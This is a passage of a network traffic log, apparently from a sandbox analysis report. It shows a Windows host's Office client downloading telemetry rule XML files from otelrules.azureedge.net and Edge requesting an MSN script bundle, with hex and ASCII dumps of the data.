2024-11-12 12:35:35 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-12 12:35:35 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	51615	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:34 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:34 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 2ce7ce6f-901e-002a-1fd2-2c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123534Z-16547b76f7fknvdnhC1DFWxnys0000000fmg00000000bpzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	51616	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:34 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:34 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a8f5521d-f01e-003f-49a0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123534Z-17df447cdb5zfhrmhC1DFWh3300000000bzg0000000049am x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:34 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	51617	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:34 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 6a0cb2be-701e-0032-13a8-34a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123534Z-17df447cdb5l865xhC1DFW9n7g00000008tg000000009dhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	51619	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:34 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 933b88d1-c01e-0079-80a0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123534Z-17df447cdb5qkskwhC1DFWeeg40000000cdg000000005b81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	51618	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:34 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: ad69bf53-c01e-0082-08a7-34af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123534Z-15869dbbcc6bmgjfhC1DFWzfzs000000070g00000000aa8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	51623	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:35 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:35 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ccc43e0b-401e-0015-12a0-340e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123535Z-15869dbbcc6b2ncxhC1DFWuw0400000001cg0000000089n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:35 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	51624	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:35 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 7cd96093-b01e-0070-32a5-341cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123535Z-17df447cdb5l865xhC1DFW9n7g00000008w0000000004u4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	51625	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:35 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:35 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:35 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 157887d5-b01e-0084-44d2-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123535Z-16547b76f7fdtmzhhC1DFW6zhc00000004cg00000000dm0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:35 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	51626	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:35 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:35 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: bad46039-901e-002a-55a8-347a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123535Z-17df447cdb5bz95mhC1DFWnk7w0000000bx0000000003wz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:35 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	51627	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:35 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:35 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 9dc908ac-101e-0034-7fa0-3496ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123535Z-17df447cdb57srlrhC1DFWwgas0000000ccg0000000035wa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:35 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	51629	23.221.22.200	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:36 UTC	627	OUT	GET /bundles/v1/edgeChromium/latest/common.0baf1f64c7e61454b12f.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
